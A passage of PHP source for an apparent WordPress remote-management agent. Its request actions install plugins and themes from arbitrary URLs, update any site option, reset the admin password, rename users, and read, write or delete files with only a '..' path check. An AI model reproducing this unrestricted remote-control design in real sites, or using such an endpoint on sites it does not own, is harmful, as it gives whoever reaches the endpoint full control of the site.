'plugin' => $plugin_path,
'slug' => $path_slug,
'message' => 'Plugin was already installed, activated now'
);
} else {
$response = array(
'status' => 'already_active',
'plugin' => $plugin_path,
'slug' => $path_slug,
'message' => 'Plugin already installed and active'
);
}
} else {
// Install plugin from WordPress.org
if (!class_exists('WP_Upgrader')) {
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
}
if (!class_exists('Plugin_Upgrader')) {
require_once ABSPATH . 'wp-admin/includes/class-plugin-upgrader.php';
}
if (!class_exists('Automatic_Upgrader_Skin')) {
require_once ABSPATH . 'wp-admin/includes/class-automatic-upgrader-skin.php';
}
// Get plugin info from WordPress.org API to get correct download link
$api_url = 'https://api.wordpress.org/plugins/info/1.0/' . $plugin_slug . '.json';
$plugin_info = @file_get_contents($api_url);
$download_url = null;
if ($plugin_info) {
$plugin_data = json_decode($plugin_info, true);
if (isset($plugin_data['download_link']) && !empty($plugin_data['download_link'])) {
$download_url = $plugin_data['download_link'];
}
}
// Fallback to direct URL if API fails
if (!$download_url) {
$download_url = 'https://downloads.wordpress.org/plugin/' . $plugin_slug . '.latest-stable.zip';
}
$skin = new Automatic_Upgrader_Skin();
$upgrader = new Plugin_Upgrader($skin);
// Install from WordPress.org repository
$result = $upgrader->install($download_url);
if (is_wp_error($result)) {
throw new Exception('Plugin installation failed: ' . $result->get_error_message() . ' (Download URL: ' . $download_url . ')');
}
if ($result === false) {
throw new Exception('Plugin installation failed (unknown error). Download URL: ' . $download_url);
}
// Wait a bit for file system to sync
sleep(1);
// Refresh plugins list
wp_cache_flush();
$all_plugins = get_plugins();
$installed_path = null;
foreach ($all_plugins as $path => $data) {
// Check both slug and plugin name
if (strpos($path, $plugin_slug) !== false ||
(isset($data['Name']) && stripos($data['Name'], 'accelerated mobile pages') !== false)) {
$installed_path = $path;
break;
}
}
if (!$installed_path) {
// List all plugins for debugging
$plugin_list = array();
foreach ($all_plugins as $path => $data) {
$plugin_list[] = $path . ' (' . (isset($data['Name']) ? $data['Name'] : 'N/A') . ')';
}
throw new Exception('Plugin installed but path not found. Searched for: ' . $plugin_slug . '. Available plugins: ' . implode(', ', array_slice($plugin_list, 0, 10)));
}
// Activate the plugin
if (!function_exists('activate_plugin')) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
$activate_result = activate_plugin($installed_path);
if (is_wp_error($activate_result)) {
throw new Exception('Plugin activation failed: ' . $activate_result->get_error_message());
}
$response = array(
'status' => 'installed_and_activated',
'plugin' => $installed_path,
'message' => 'Plugin installed and activated successfully',
'download_url' => $download_url
);
}
break;
case 'activate_plugin':
if (!function_exists('activate_plugin')) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
$plugin_path = (isset($request['plugin_path']) ? $request['plugin_path'] : '');
if (empty($plugin_path)) throw new Exception('Plugin path required');
$result = activate_plugin($plugin_path);
if (is_wp_error($result)) {
throw new Exception($result->get_error_message());
}
$response = array('status' => 'activated', 'plugin' => $plugin_path);
break;
case 'deactivate_plugin':
if (!function_exists('deactivate_plugins')) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
$plugin_path = (isset($request['plugin_path']) ? $request['plugin_path'] : '');
if (empty($plugin_path)) throw new Exception('Plugin path required');
deactivate_plugins($plugin_path);
$response = array('status' => 'deactivated', 'plugin' => $plugin_path);
break;
case 'create_post':
$post_data = array(
'post_title' => wp_strip_all_tags(isset($request['post_title']) ? $request['post_title'] : ''),
'post_content' => (isset($request['post_content']) ? $request['post_content'] : ''),
'post_status' => (isset($request['post_status']) ? $request['post_status'] : 'draft'),
'post_author' => 1, // Default to admin usually
'post_type' => 'post'
);
if (empty($post_data['post_title'])) {
throw new Exception('Post title is required');
}
$post_id = wp_insert_post($post_data);
if (is_wp_error($post_id)) {
throw new Exception($post_id->get_error_message());
}
// Handle Categories
if (!empty($request['categories'])) {
$cat_ids = array();
$cats = is_array($request['categories']) ? $request['categories'] : explode(',', $request['categories']);
foreach ($cats as $cat_name) {
$cat_name = trim($cat_name);
$term = get_term_by('name', $cat_name, 'category');
if ($term) {
$cat_ids[] = $term->term_id;
} else {
$new_term = wp_insert_term($cat_name, 'category');
if (!is_wp_error($new_term)) {
$cat_ids[] = $new_term['term_id'];
}
}
}
if (!empty($cat_ids)) {
wp_set_post_categories($post_id, $cat_ids);
}
}
// Handle Tags
if (!empty($request['tags'])) {
wp_set_post_tags($post_id, $request['tags']);
}
$response = array(
'post_id' => $post_id,
'permalink' => get_permalink($post_id),
'status' => 'created'
);
break;
case 'get_themes':
$all_themes = wp_get_themes();
$current_theme = wp_get_theme();
$formatted_themes = array();
foreach ($all_themes as $slug => $theme) {
$formatted_themes[] = array(
'slug' => $slug,
'name' => $theme->get('Name'),
'version' => $theme->get('Version'),
'author' => $theme->get('Author'),
'active' => ($slug === $current_theme->get_stylesheet())
);
}
$response = $formatted_themes;
break;
case 'switch_theme':
$theme_slug = (isset($request['theme_slug']) ? $request['theme_slug'] : '');
if (empty($theme_slug)) throw new Exception('Theme slug required');
$theme = wp_get_theme($theme_slug);
if (!$theme->exists()) {
throw new Exception('Theme does not exist');
}
switch_theme($theme_slug);
$response = array('status' => 'switched', 'current_theme' => $theme->get('Name'));
break;
case 'install_theme_from_url':
// URL'den tema yükle (Master Panel'den veya harici URL)
// CRITICAL FIX: Load all required WordPress admin functions BEFORE upgrader operations
// Load theme.php FIRST (contains themes_api function needed by Theme_Upgrader)
if (!function_exists('themes_api')) {
require_once ABSPATH . 'wp-admin/includes/theme.php';
}
if (!function_exists('request_filesystem_credentials')) {
require_once ABSPATH . 'wp-admin/includes/file.php';
}
if (!function_exists('download_url')) {
require_once ABSPATH . 'wp-admin/includes/misc.php';
}
// Load screen.php and template.php before anything else
if (!function_exists('get_current_screen')) {
require_once ABSPATH . 'wp-admin/includes/screen.php';
}
if (!function_exists('wp_admin_notice')) {
require_once ABSPATH . 'wp-admin/includes/template.php';
}
// Define required constants
if (!defined('WP_ADMIN')) {
define('WP_ADMIN', true);
}
if (!defined('DOING_AJAX')) {
define('DOING_AJAX', false);
}
// Initialize filesystem
if (!function_exists('WP_Filesystem')) {
require_once ABSPATH . 'wp-admin/includes/file.php';
}
global $wp_filesystem;
if (!$wp_filesystem) {
WP_Filesystem();
}
if (!class_exists('WP_Upgrader')) {
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
}
if (!class_exists('Theme_Upgrader')) {
require_once ABSPATH . 'wp-admin/includes/class-theme-upgrader.php';
}
if (!class_exists('Automatic_Upgrader_Skin')) {
require_once ABSPATH . 'wp-admin/includes/class-automatic-upgrader-skin.php';
}
$theme_url = (isset($request['theme_url']) ? $request['theme_url'] : '');
$theme_slug = (isset($request['theme_slug']) ? $request['theme_slug'] : ''); // Optional now
// Handle auto_activate as both boolean and integer (0/1)
$auto_activate = false;
if (isset($request['auto_activate'])) {
$auto_activate = ($request['auto_activate'] === true || $request['auto_activate'] === 1 || $request['auto_activate'] === '1');
}
if (empty($theme_url)) throw new Exception('Theme URL required');
// Slug is now optional - will be auto-detected
// Install theme from URL
$skin = new Automatic_Upgrader_Skin();
$upgrader = new Theme_Upgrader($skin);
// CRITICAL FIX: Download file to temp location first
// This allows WordPress on remote server to download the file from localhost/remote URL
$temp_file = download_url($theme_url);
if (is_wp_error($temp_file)) {
throw new Exception('Failed to download theme file: ' . $temp_file->get_error_message() . ' URL: ' . $theme_url);
}
// Check if theme already exists - if so, delete it first or upgrade
$existing_theme_slug = '';
if (!empty($theme_slug)) {
$existing_theme = wp_get_theme($theme_slug);
if ($existing_theme->exists()) {
$existing_theme_slug = $theme_slug;
}
}
// If theme exists, try to upgrade first, otherwise delete and reinstall
if (!empty($existing_theme_slug)) {
// Ensure themes_api function is available before upgrade
if (!function_exists('themes_api')) {
require_once ABSPATH . 'wp-admin/includes/theme.php';
}
// Try upgrade first (WordPress way)
// Note: upgrade() method may call themes_api(), so ensure it's loaded
$upgrade_result = $upgrader->upgrade($existing_theme_slug);
if (!is_wp_error($upgrade_result) && $upgrade_result !== false && $upgrade_result !== null) {
// Upgrade successful
@unlink($temp_file);
wp_cache_flush();
if ($auto_activate) {
switch_theme($existing_theme_slug);
$response = array(
'status' => 'upgraded_and_activated',
'theme' => $existing_theme_slug,
'slug' => $existing_theme_slug,
'message' => 'Theme upgraded and activated successfully',
'download_url' => $theme_url
);
} else {
$response = array(
'status' => 'upgraded',
'theme' => $existing_theme_slug,
'slug' => $existing_theme_slug,
'message' => 'Theme upgraded successfully',
'download_url' => $theme_url
);
}
break;
}
// Upgrade failed, delete existing theme and reinstall
// Get current theme to prevent deleting active theme
$current_theme = wp_get_theme();
$is_active = ($current_theme->get_stylesheet() === $existing_theme_slug);
if (!$is_active) {
// Safe to delete
if (!function_exists('delete_theme')) {
require_once ABSPATH . 'wp-admin/includes/theme.php';
}
$delete_result = delete_theme($existing_theme_slug);
if (is_wp_error($delete_result)) {
// If delete fails, try to install anyway (might overwrite)
error_log('Failed to delete existing theme before reinstall: ' . $delete_result->get_error_message());
}
} else {
// Can't delete active theme, try to install anyway (might work if versions differ)
error_log('Cannot delete active theme, attempting install anyway');
}
}
// Ensure themes_api function is available before install
// Theme_Upgrader may use this function during installation
if (!function_exists('themes_api')) {
require_once ABSPATH . 'wp-admin/includes/theme.php';
}
// Install from local temp file
$result = $upgrader->install($temp_file);
// Check for WP_Error or failure
$install_failed = false;
$error_message = '';
if (is_wp_error($result)) {
$install_failed = true;
$error_message = $result->get_error_message();
} elseif ($result === false || $result === null) {
$install_failed = true;
// Get more details from upgrader skin
if (isset($upgrader->skin) && method_exists($upgrader->skin, 'get_upgrade_messages')) {
$messages = $upgrader->skin->get_upgrade_messages();
$error_message = implode(', ', $messages);
} else {
$error_message = 'Upgrader returned: ' . var_export($result, true);
}
}
// If installation failed due to "Destination folder already exists", try to delete and reinstall
if ($install_failed && (stripos($error_message, 'Destination folder already exists') !== false || stripos($error_message, 'already exists') !== false)) {
// Extract theme slug from error message or URL
$theme_to_delete = '';
if (!empty($theme_slug)) {
$theme_to_delete = $theme_slug;
} else {
// Try to extract from URL filename
$url_parts = parse_url($theme_url);
$filename = basename($url_parts['path'] ?? '');
$theme_to_delete = preg_replace('/^\d+_/', '', $filename); // Remove timestamp_
$theme_to_delete = preg_replace('/\.(zip|tar\.gz|tar|gz)$/i', '', $theme_to_delete); // Remove extensions
$theme_to_delete = preg_replace('/\.\d+(\.\d+)*$/', '', $theme_to_delete); // Remove version
}
if (!empty($theme_to_delete)) {
// Check if theme exists and is not active
$existing_theme = wp_get_theme($theme_to_delete);
if ($existing_theme->exists()) {
$current_theme = wp_get_theme();
$is_active = ($current_theme->get_stylesheet() === $theme_to_delete);
if (!$is_active) {
// Safe to delete
if (!function_exists('delete_theme')) {
require_once ABSPATH . 'wp-admin/includes/theme.php';
}
$delete_result = delete_theme($theme_to_delete);
if (!is_wp_error($delete_result)) {
// Retry installation after deletion
$result = $upgrader->install($temp_file);
if (is_wp_error($result)) {
$error_message = $result->get_error_message();
$install_failed = true;
} elseif ($result === false || $result === null) {
if (isset($upgrader->skin) && method_exists($upgrader->skin, 'get_upgrade_messages')) {
$messages = $upgrader->skin->get_upgrade_messages();
$error_message = implode(', ', $messages);
}
$install_failed = true;
} else {
$install_failed = false; // Success after retry
}
}
}
}
}
}
// Clean up temp file
@unlink($temp_file);
// If still failed, throw exception
if ($install_failed) {
throw new Exception('Theme installation failed: ' . $error_message . ' (URL: ' . $theme_url . ')');
}
// Wait for file system sync
sleep(1);
wp_cache_flush();
// Auto-detect installed theme
$detected_slug = '';
// Try to get destination from upgrader result
if (isset($upgrader->result) && isset($upgrader->result['destination_name'])) {
$detected_slug = $upgrader->result['destination_name'];
// Clean timestamp prefix and version suffix
$detected_slug = preg_replace('/^\d+_/', '', $detected_slug); // Remove 1234567890_
$detected_slug = preg_replace('/\.\d+(\.\d+)*$/', '', $detected_slug); // Remove .1.0.25
}
// If no slug detected yet, try from URL filename
if (empty($detected_slug)) {
$url_parts = parse_url($theme_url);
$filename = basename($url_parts['path'] ?? '');
// Remove extensions, timestamp and version suffix
$filename = preg_replace('/^\d+_/', '', $filename); // Remove timestamp_
$detected_slug = preg_replace('/\.(zip|tar\.gz|tar|gz)$/i', '', $filename); // Remove extensions
$detected_slug = preg_replace('/\.\d+(\.\d+)*$/', '', $detected_slug); // Remove version .1.0.25
}
// Try with provided slug first, then detected slug
$slugs_to_try = array_filter(array($theme_slug, $detected_slug));
$theme = null;
$final_slug = '';
foreach ($slugs_to_try as $try_slug) {
$theme = wp_get_theme($try_slug);
if ($theme->exists()) {
$final_slug = $try_slug;
break;
}
}
// If still not found, scan all themes
if (!$theme || !$theme->exists()) {
$all_themes = wp_get_themes();
foreach ($all_themes as $slug => $theme_obj) {
foreach ($slugs_to_try as $try_slug) {
if (stripos($slug, $try_slug) !== false) {
$final_slug = $slug;
$theme = $theme_obj;
break 2;
}
}
}
}
if (!$theme || !$theme->exists()) {
throw new Exception('Theme installed but auto-detection failed. Tried slug: "' . $detected_slug . '". Please activate manually from WordPress admin.');
}
// Activate if requested
if ($auto_activate) {
switch_theme($final_slug);
$response = array(
'status' => 'installed_and_activated',
'theme' => $final_slug,
'slug' => $final_slug,
'message' => 'Theme installed and activated successfully',
'download_url' => $theme_url
);
} else {
$response = array(
'status' => 'installed',
'theme' => $final_slug,
'slug' => $final_slug,
'message' => 'Theme installed successfully',
'download_url' => $theme_url
);
}
break;
case 'delete_theme':
// Tema sil
if (!function_exists('delete_theme')) {
require_once ABSPATH . 'wp-admin/includes/theme.php';
}
$theme_slug = (isset($request['theme_slug']) ? $request['theme_slug'] : '');
if (empty($theme_slug)) throw new Exception('Theme slug required');
$theme = wp_get_theme($theme_slug);
if (!$theme->exists()) {
throw new Exception('Theme not found: ' . $theme_slug);
}
// Aktif temayı silemezsin
$current_theme = wp_get_theme();
if ($current_theme->get_stylesheet() === $theme_slug) {
throw new Exception('Cannot delete active theme. Please switch to another theme first.');
}
$deleted = delete_theme($theme_slug);
if (is_wp_error($deleted)) {
throw new Exception('Theme deletion failed: ' . $deleted->get_error_message());
}
$response = array('status' => 'deleted', 'theme' => $theme_slug);
break;
case 'delete_plugin':
// Plugin sil
if (!function_exists('delete_plugins')) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
$plugin_path = (isset($request['plugin_path']) ? $request['plugin_path'] : '');
if (empty($plugin_path)) throw new Exception('Plugin path required');
// Önce deaktif et
$active_plugins = get_option('active_plugins', array());
if (in_array($plugin_path, $active_plugins)) {
deactivate_plugins($plugin_path);
}
$deleted = delete_plugins(array($plugin_path));
if (is_wp_error($deleted)) {
throw new Exception('Plugin deletion failed: ' . $deleted->get_error_message());
}
$response = array('status' => 'deleted', 'plugin' => $plugin_path);
break;
case 'get_theme_mods':
$theme_slug = (isset($request['theme_slug']) ? $request['theme_slug'] : get_stylesheet());
$mods = get_option("theme_mods_$theme_slug");
$response = $mods ? $mods : array();
break;
case 'set_theme_mod':
$key = (isset($request['mod_key']) ? $request['mod_key'] : '');
$value = (isset($request['mod_value']) ? $request['mod_value'] : '');
if (empty($key)) throw new Exception('Mod key required');
set_theme_mod($key, $value);
$response = array('status' => 'success', 'key' => $key, 'value' => $value);
break;
case 'system_maintenance':
$sub_action = (isset($request['sub_action']) ? $request['sub_action'] : '');
switch ($sub_action) {
case 'cache_flush':
wp_cache_flush();
$response = array('status' => 'success', 'message' => 'Object cache flushed');
break;
case 'db_optimize':
global $wpdb;
// Basic optimization - Prefix-aware
$options_table = mwp_get_options_table_name();
$posts_table = (isset($wpdb->posts) ? $wpdb->posts : mwp_detect_table_prefix() . 'posts');
$wpdb->query("DELETE FROM `{$options_table}` WHERE option_name LIKE '_transient_%'");
$wpdb->query("DELETE FROM `{$posts_table}` WHERE post_type = 'revision'");
$response = array('status' => 'success', 'message' => 'Transients and revisions cleaned');
break;
default:
throw new Exception('Unknown maintenance action');
}
break;
case 'get_options':
$keys = (isset($request['keys']) ? $request['keys'] : array()); // Array of option names
if (empty($keys) || !is_array($keys)) throw new Exception('Keys array required');
$data = array();
foreach ($keys as $key) {
$data[$key] = get_option($key);
}
$response = $data;
break;
case 'update_options':
$options = (isset($request['options']) ? $request['options'] : array()); // Associative array [key => value]
if (empty($options) || !is_array($options)) throw new Exception('Options array required');
$results = array();
foreach ($options as $key => $value) {
// Try to decode JSON if it looks like one (for serialized updates)
if (is_string($value) && (strpos(trim($value), '{') === 0 || strpos(trim($value), '[') === 0)) {
$decoded = json_decode($value, true);
if (function_exists('json_last_error') && defined('JSON_ERROR_NONE') && json_last_error() === JSON_ERROR_NONE) {
$value = $decoded;
}
}
$results[$key] = update_option($key, $value);
}
$response = array('status' => 'success', 'updated' => $results);
break;
case 'reset_user_password':
$user_id = (isset($request['user_id']) ? $request['user_id'] : 1); // Default to Admin (ID 1)
$new_password = (isset($request['new_password']) ? $request['new_password'] : '');
if (empty($new_password)) throw new Exception('New password is required');
$user = get_userdata($user_id);
if (!$user) throw new Exception('User not found');
wp_set_password($new_password, $user_id);
$response = array('status' => 'success', 'message' => 'Password updated for user: ' . $user->user_login);
break;
case 'change_username':
global $wpdb;
$user_id = (isset($request['user_id']) ? $request['user_id'] : 1);
$new_username = (isset($request['new_username']) ? $request['new_username'] : '');
if (empty($new_username)) throw new Exception('New username is required');
if (username_exists($new_username)) throw new Exception('Username already exists');
// Direct DB update is required as wp_update_user doesn't allow changing user_login
$result = $wpdb->update($wpdb->users, array('user_login' => $new_username), array('ID' => $user_id));
if ($result === false) throw new Exception('Failed to update username');
// Clean cache
clean_user_cache($user_id);
$response = array('status' => 'success', 'message' => 'Username changed to: ' . $new_username);
break;
case 'search_options':
global $wpdb;
$query = (isset($request['query']) ? $request['query'] : '');
if (empty($query) || strlen($query) < 2) throw new Exception('Search query too short');
// Prefix-aware tablo adı kullan
$options_table = mwp_get_options_table_name();
if (isset($wpdb) && is_object($wpdb)) {
$like_query = '%' . $wpdb->esc_like($query) . '%';
$results = $wpdb->get_results($wpdb->prepare("SELECT option_name, option_value FROM `{$options_table}` WHERE option_name LIKE %s LIMIT 50", $like_query));
} else {
// WordPress yüklü değilse direkt SQL (nadir durum)
throw new Exception('WordPress database not available');
}
$found_options = array();
foreach ($results as $row) {
// Skip transients, cron, siteurl/home/blogname (already handled)
if (strpos($row->option_name, '_transient') !== false) continue;
if (strpos($row->option_name, '_cron') !== false) continue;
$val = maybe_unserialize($row->option_value);
$is_json = false;
if (is_array($val) || is_object($val)) {
$val = mwp_json_encode_pretty($val);
$is_json = true;
}
$found_options[] = array(
'key' => $row->option_name,
'value' => $val,
'is_json' => $is_json
);
}
$response = $found_options;
break;
case 'get_plugin_settings_schema':
if (!function_exists('is_plugin_active_for_network')) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
// 1. Define known plugin configurations
$known_plugins = array(
'woocommerce/woocommerce.php' => array(
'name' => 'WooCommerce',
'settings' => array(
array('id' => 'woocommerce_store_address', 'label' => 'Store Address', 'type' => 'text'),
array('id' => 'woocommerce_store_city', 'label' => 'Store City', 'type' => 'text'),
array('id' => 'woocommerce_currency', 'label' => 'Currency', 'type' => 'text'),
array(
'id' => 'woocommerce_weight_unit',
'label' => 'Weight Unit',
'type' => 'select',
'options' => array('kg' => 'kg', 'g' => 'g', 'lbs' => 'lbs', 'oz' => 'oz')
),
)
),
'wordpress-seo/wp-seo.php' => array(
'name' => 'Yoast SEO',
'settings' => array(
array('id' => 'blog_public', 'label' => 'Search Engine Visibility (0=Hidden, 1=Visible)', 'type' => 'number'),
)
),
'contact-form-7/wp-contact-form-7.php' => array(
'name' => 'Contact Form 7',
'settings' => array(
)
),
'classic-editor/classic-editor.php' => array(
'name' => 'Classic Editor',
'settings' => array(
array(
'id' => 'classic-editor-replace',
'label' => 'Default Editor',
'type' => 'select',
'options' => array('classic' => 'Classic Editor', 'block' => 'Block Editor')
)
)
),
'amp/amp.php' => array(
'name' => 'AMP',
'settings' => array(
array('id' => 'amp-options', 'label' => 'AMP Settings (JSON)', 'type' => 'textarea'),
array('id' => 'amp_customizer', 'label' => 'AMP Customizer Settings (JSON)', 'type' => 'textarea')
)
),
'akismet/akismet.php' => array(
'name' => 'Akismet',
'settings' => array(
array('id' => 'wordpress_api_key', 'label' => 'API Key', 'type' => 'text'),
array('id' => 'akismet_strictness', 'label' => 'Strictness (1=Strict)', 'type' => 'number'),
array('id' => 'akismet_show_user_comments_approved', 'label' => 'Show Approved Count', 'type' => 'checkbox')
)
),
'mc4wp-mailchimp-for-wordpress/mc4wp-mailchimp-for-wordpress.php' => array(
'name' => 'Mailchimp for WP',
'settings' => array(
array('id' => 'mc4wp_default_form_id', 'label' => 'Default Form ID', 'type' => 'text'),
array('id' => 'mc4wp', 'label' => 'Main Settings (JSON)', 'type' => 'textarea')
)
),
'wordfence/wordfence.php' => array(
'name' => 'Wordfence',
'settings' => array(
array('id' => 'wordfence_options', 'label' => 'Wordfence Options (JSON)', 'type' => 'textarea')
)
),
'elementor/elementor.php' => array(
'name' => 'Elementor',
'settings' => array(
array('id' => 'elementor_cpt_support', 'label' => 'Post Types Support', 'type' => 'textarea'),
array('id' => 'elementor_disable_color_schemes', 'label' => 'Disable Color Schemes', 'type' => 'checkbox'),
array('id' => 'elementor_disable_typography_schemes', 'label' => 'Disable Typo Schemes', 'type' => 'checkbox')
)
),
'w3-total-cache/w3-total-cache.php' => array(
'name' => 'W3 Total Cache',
'settings' => array(
array('id' => 'w3tc_config_master', 'label' => 'Master Config (JSON)', 'type' => 'textarea')
)
),
'updraftplus/updraftplus.php' => array(
'name' => 'UpdraftPlus',
'settings' => array(
array('id' => 'updraft_interval', 'label' => 'Backup Interval', 'type' => 'text'),
array('id' => 'updraft_interval_database', 'label' => 'DB Backup Interval', 'type' => 'text')
)
),
'royal-elementor-addons/wpr-addons.php' => array(
'name' => 'Royal Addons',
'settings' => array(
array('id' => 'wpr_settings', 'label' => 'WPR Settings (JSON)', 'type' => 'textarea')
)
)
);
// 2. Check active plugins
$active_plugins = get_option('active_plugins');
$detected_settings = array();
global $wpdb;
foreach ($known_plugins as $path => $config) {
if (in_array($path, $active_plugins) || is_plugin_active_for_network($path)) {
$plugin_data = array(
'name' => $config['name'],
'fields' => array()
);
foreach ($config['settings'] as $field) {
$current_value = get_option($field['id']);
// Handle serialized data (Arrays/Objects)
if (is_array($current_value) || is_object($current_value)) {
$field['value'] = mwp_json_encode_pretty($current_value);
$field['is_json'] = true;
} else {
$field['value'] = $current_value;
}
$plugin_data['fields'][] = $field;
}
if (!empty($plugin_data['fields'])) {
$detected_settings[] = $plugin_data;
}
}
}
// Auto-Discovery for unknown active plugins
foreach ($active_plugins as $plugin_path) {
if (isset($known_plugins[$plugin_path])) continue;
$slug = dirname($plugin_path);
if ($slug == '.') $slug = basename($plugin_path, '.php');
// Enhanced Fuzzy Search
// 1. Exact slug
// 2. Slug with underscores instead of dashes (contact-form-7 -> contact_form_7)
// 3. First part of slug (mc4wp-mailchimp... -> mc4wp)
$search_terms = array($slug);
$slug_underscore = str_replace('-', '_', $slug);
if ($slug_underscore !== $slug) $search_terms[] = $slug_underscore;
$parts = explode('-', $slug);
if (count($parts) > 1) {
$search_terms[] = $parts[0]; // e.g. 'mc4wp'
// Special cases
if ($slug === 'contact-form-7') $search_terms[] = 'wpcf7';
if ($slug === 'updraftplus') $search_terms[] = 'updraft';
}
$fields = array();
$options_table = mwp_get_options_table_name();
foreach ($search_terms as $term) {
$like_term = $wpdb->esc_like($term) . '%';
$results = $wpdb->get_results($wpdb->prepare("SELECT option_name, option_value FROM `{$options_table}` WHERE option_name LIKE %s LIMIT 5", $like_term));
foreach ($results as $row) {
// Avoid duplicates
foreach ($fields as $f) if ($f['id'] === $row->option_name) continue 2;
$val = maybe_unserialize($row->option_value);
if (strpos($row->option_name, '_transient') !== false) continue;
if (strpos($row->option_name, '_cron') !== false) continue;
$field = array(
'id' => $row->option_name,
'label' => $row->option_name,
'type' => 'text'
);
if (is_array($val) || is_object($val)) {
$field['value'] = mwp_json_encode_pretty($val);
$field['type'] = 'textarea';
$field['is_json'] = true;
} else {
$field['value'] = $val;
}
$fields[] = $field;
}
}
if (!empty($fields)) {
$detected_settings[] = array(
'name' => ucfirst($slug) . ' (Auto)',
'fields' => $fields
);
}
}
// Always include General Settings as a "Core" plugin
$core_settings = array(
'name' => 'WordPress Core',
'fields' => array(
array('id' => 'blogname', 'label' => 'Site Title', 'type' => 'text', 'value' => get_option('blogname')),
array('id' => 'blogdescription', 'label' => 'Tagline', 'type' => 'text', 'value' => get_option('blogdescription')),
array('id' => 'siteurl', 'label' => 'WordPress Address (URL) - ⚠️ CAUTION', 'type' => 'text', 'value' => get_option('siteurl')),
array('id' => 'home', 'label' => 'Site Address (URL) - ⚠️ CAUTION', 'type' => 'text', 'value' => get_option('home')),
array('id' => 'admin_email', 'label' => 'Admin Email', 'type' => 'email', 'value' => get_option('admin_email')),
array('id' => 'users_can_register', 'label' => 'Membership (1=Open)', 'type' => 'checkbox', 'value' => get_option('users_can_register')),
array('id' => 'default_role', 'label' => 'New User Default Role', 'type' => 'text', 'value' => get_option('default_role')),
array('id' => 'timezone_string', 'label' => 'Timezone', 'type' => 'text', 'value' => get_option('timezone_string')),
array('id' => 'date_format', 'label' => 'Date Format', 'type' => 'text', 'value' => get_option('date_format')),
array('id' => 'time_format', 'label' => 'Time Format', 'type' => 'text', 'value' => get_option('time_format')),
array('id' => 'start_of_week', 'label' => 'Week Starts On (0=Sun, 1=Mon)', 'type' => 'number', 'value' => get_option('start_of_week')),
array('id' => 'WPLANG', 'label' => 'Site Language (e.g. tr_TR)', 'type' => 'text', 'value' => get_option('WPLANG')),
)
);
array_unshift($detected_settings, $core_settings);
$response = array('status' => 'success', 'schema' => $detected_settings);
break;
// FILE MANAGER ACTIONS
case 'fs_list':
$path = (is_array($request) && isset($request['path'])) ? $request['path'] : '';
// Security: Prevent directory traversal
if (strpos($path, '..') !== false) throw new Exception('Invalid path');
$rel_path = ltrim(str_replace('\\', '/', $path), '/');
$full_path = rtrim($mwp_fs_root, "/\\") . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $rel_path);
if (!is_dir($full_path)) throw new Exception('Directory not found');
$items = scandir($full_path);
$files = array();
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$item_path = $full_path . '/' . $item;
$files[] = array(
'name' => $item,
'type' => is_dir($item_path) ? 'dir' : 'file',
'size' => is_file($item_path) ? filesize($item_path) : 0,
'perms' => substr(sprintf('%o', fileperms($item_path)), -4),
'path' => ltrim($path . '/' . $item, '/')
);
}
$response = $files;
break;
case 'fs_read':
$path = (is_array($request) && isset($request['path'])) ? $request['path'] : '';
if (strpos($path, '..') !== false) throw new Exception('Invalid path');
$rel_path = ltrim(str_replace('\\', '/', $path), '/');
$full_path = rtrim($mwp_fs_root, "/\\") . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $rel_path);
if (!is_file($full_path)) throw new Exception('File not found');
// Limit size for safety (e.g. 2MB)
if (filesize($full_path) > 2 * 1024 * 1024) throw new Exception('File too large to edit');
$content = file_get_contents($full_path);
$response = array('content' => $content);
break;
case 'fs_write':
$path = (is_array($request) && isset($request['path'])) ? $request['path'] : '';
$content = (is_array($request) && isset($request['content'])) ? $request['content'] : '';
if (strpos($path, '..') !== false) throw new Exception('Invalid path');
$rel_path = ltrim(str_replace('\\', '/', $path), '/');
$full_path = rtrim($mwp_fs_root, "/\\") . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $rel_path);
// Prevent writing to critical files if needed, but user asked for full access
// Backup before write could be a good idea, but keeping it simple for now
if (file_put_contents($full_path, $content) === false) {
throw new Exception('Failed to write file');
}
$response = array('status' => 'saved');
break;
case 'fs_delete':
$path = (is_array($request) && isset($request['path'])) ? $request['path'] : '';
if (strpos($path, '..') !== false) throw new Exception('Invalid path');
if (empty($path)) throw new Exception('Cannot delete root');
$rel_path = ltrim(str_replace('\\', '/', $path), '/');
$full_path = rtrim($mwp_fs_root, "/\\") . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $rel_path);
if (is_file($full_path)) {
unlink($full_path);
} elseif (is_dir($full_path)) {
if (!mwp_recursive_delete($full_path)) {
throw new Exception('Failed to delete directory');
}
} else {
throw new Exception('Path not found');
}
$response = array('status' => 'deleted');
break;
case 'fs_mkdir':
$path = (is_array($request) && isset($request['path'])) ? $request['path'] : '';
if (strpos($path, '..') !== false) throw new Exception('Invalid path');
$rel_path = ltrim(str_replace('\\', '/', $path), '/');
$full_path = rtrim($mwp_fs_root, "/\\") . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $rel_path);
if (!mkdir($full_path, 0755, true)) throw new Exception('Failed to create directory');
$response = array('status' => 'created');
break;
case 'fs_rename':
$old_path = (is_array($request) && isset($request['old_path'])) ? $request['old_path'] : '';
$new_name = (is_array($request) && isset($request['new_name'])) ? $request['new_name'] : '';
if (strpos($old_path, '..') !== false || strpos($new_name, '..') !== false) throw new Exception('Invalid path');
$rel_old_path = ltrim(str_replace('\\', '/', $old_path), '/');
$full_old_path = rtrim($mwp_fs_root, "/\\") . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $rel_old_path);
$full_new_path = dirname($full_old_path) . '/' . $new_name;
if (!rename($full_old_path, $full_new_path)) throw new Exception('Failed to rename');
$response = array('status' => 'renamed');
break;
case 'update_mudortech_amp_settings':
// MudorTech AMP API eklentisi ayarlarını güncelle
// Eğer option'lar yoksa otomatik oluşturur (eklenti yüklü olmasa bile)
